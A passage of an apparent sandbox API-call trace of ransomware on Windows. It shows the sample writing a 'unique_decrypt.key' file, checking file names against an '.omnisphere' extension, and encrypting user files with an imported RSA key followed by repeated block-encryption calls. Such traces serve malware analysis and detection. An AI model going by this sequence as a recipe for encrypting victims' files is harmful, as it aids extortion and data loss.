0x1600000 [0128.061] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd2) returned 0x1649080 [0128.061] PathCombineW (in: pszDest=0x1649080, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\unique_decrypt.key" [0128.061] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0128.061] WriteFile (in: hFile=0x288, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d30c, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d30c*=0x5a0, lpOverlapped=0x0) returned 1 [0128.061] CloseHandle (hObject=0x288) returned 1 [0128.061] GetProcessHeap () returned 0x1600000 [0128.061] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1649080 | out: hHeap=0x1600000) returned 1 [0128.061] GetProcessHeap () returned 0x1600000 [0128.061] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x160e0d8 | out: hHeap=0x1600000) returned 1 [0128.061] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67a61ae6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x67a61ae6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x67a61ae6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0xcc, cFileName="78f0afb5bd4bb278.automaticDestinations-ms", cAlternateFileName="78F0AF~1.AUT")) returned 1 [0128.062] GetProcessHeap () returned 0x1600000 [0128.062] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x100) returned 0x160e0d8 [0128.062] PathCombineW (in: pszDest=0x160e0d8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", pszFile="78f0afb5bd4bb278.automaticDestinations-ms" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\78f0afb5bd4bb278.automaticDestinations-ms") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\78f0afb5bd4bb278.automaticDestinations-ms" [0128.062] StrStrW (lpFirst=".omnisphere", lpSrch=".automaticDestinations-ms") returned 0x0 [0128.062] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\78f0afb5bd4bb278.automaticDestinations-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\78f0afb5bd4bb278.automaticdestinations-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0128.062] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x3e0d2d0 | out: lpFileSize=0x3e0d2d0*=2560) returned 1 [0128.062] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x4dc, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0128.062] ReadFile (in: hFile=0x288, lpBuffer=0x3e0cd78, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0d2c0, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesRead=0x3e0d2c0*=0x524, lpOverlapped=0x0) returned 1 [0128.064] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa00, lpName=0x0) returned 0x3c0 [0128.064] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x1480000 [0128.064] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0128.064] CloseHandle (hObject=0x3c0) returned 1 [0128.064] GetTickCount () returned 0x115ff3c [0128.064] GetTickCount () returned 0x115ff3c [0128.064] GetTickCount () returned 0x115ff3c [0128.065] GetTickCount () returned 0x115ff3c [0128.065] GetTickCount () returned 0x115ff3c [0128.065] GetTickCount () returned 0x115ff3c [0128.065] GetTickCount () returned 0x115ff3c [0128.065] GetTickCount () returned 0x115ff3c [0128.065] GetTickCount () returned 0x115ff3c [0128.065] GetTickCount () returned 0x115ff3c [0128.065] GetTickCount () returned 0x115ff3c [0128.065] GetTickCount () returned 0x115ff3c [0128.065] GetTickCount () returned 0x115ff3c [0128.065] GetTickCount () returned 0x115ff3c [0128.065] GetTickCount () returned 0x115ff3c [0128.065] GetTickCount () returned 0x115ff3c [0128.065] GetTickCount () returned 0x115ff3c [0128.065] GetTickCount () returned 0x115ff3c [0128.065] GetTickCount () returned 0x115ff3c [0128.065] GetTickCount () returned 0x115ff3c [0128.065] GetTickCount () returned 0x115ff3c [0128.065] GetTickCount () returned 0x115ff3c [0128.065] GetTickCount () returned 0x115ff3c [0128.065] GetTickCount () returned 0x115ff3c [0128.065] GetTickCount () returned 0x115ff3c [0128.065] GetTickCount () returned 0x115ff3c [0128.065] GetTickCount () returned 0x115ff3c [0128.065] GetTickCount () returned 0x115ff3c [0128.065] GetTickCount () returned 0x115ff3c [0128.065] GetTickCount () returned 0x115ff3c [0128.065] GetTickCount () returned 0x115ff3c [0128.065] GetTickCount () returned 0x115ff3c [0128.065] CryptAcquireContextW (in: phProv=0x3e0cd58, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0cd58*=0x1668ce0) returned 1 [0128.066] CryptImportKey (in: hProv=0x1668ce0, pbData=0x3e0ccc0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd64 | out: phKey=0x3e0cd64*=0x16396a8) returned 1 [0128.066] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x80) returned 1 [0128.066] CryptDestroyKey (hKey=0x16396a8) returned 1 [0128.066] CryptReleaseContext (hProv=0x1668ce0, dwFlags=0x0) returned 1 [0128.066] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa00, lpName=0x0) returned 0x3c0 [0128.066] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa00) returned 0x1480000 [0128.066] CryptAcquireContextW (in: phProv=0x3e0cd48, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0cd48*=0x1669098) returned 1 [0128.067] CryptImportKey (in: hProv=0x1669098, pbData=0x3e0cd00, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd58 | out: phKey=0x3e0cd58*=0x1639b68) returned 1 [0128.067] CryptSetKeyParam (hKey=0x1639b68, dwParam=0x4, pbData=0x3e0cd3c*=0x2, dwFlags=0x0) returned 1 [0128.067] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10) returned 1 [0128.067] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.067] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.067] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.067] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.067] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.067] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.067] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.067] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.067] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.068] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.068] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.068] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.068] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.068] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.068] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.068] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.068] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.068] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.068] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.068] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.068] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.068] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.068] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.068] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.068] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.068] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.068] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.068] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.068] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.068] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.068] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.068] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.068] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.069] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.069] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.069] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.069] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.069] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.069] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.069] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.069] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.069] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.069] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.069] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.069] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.069] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.069] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.069] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.069] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.069] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.069] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.069] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.069] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.069] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.069] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.069] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.069] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.070] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.070] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.070] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.070] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.070] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.070] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.070] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.070] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.070] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.070] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.070] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.070] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.070] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.070] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.070] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.070] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.070] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.070] CryptEncrypt (in: 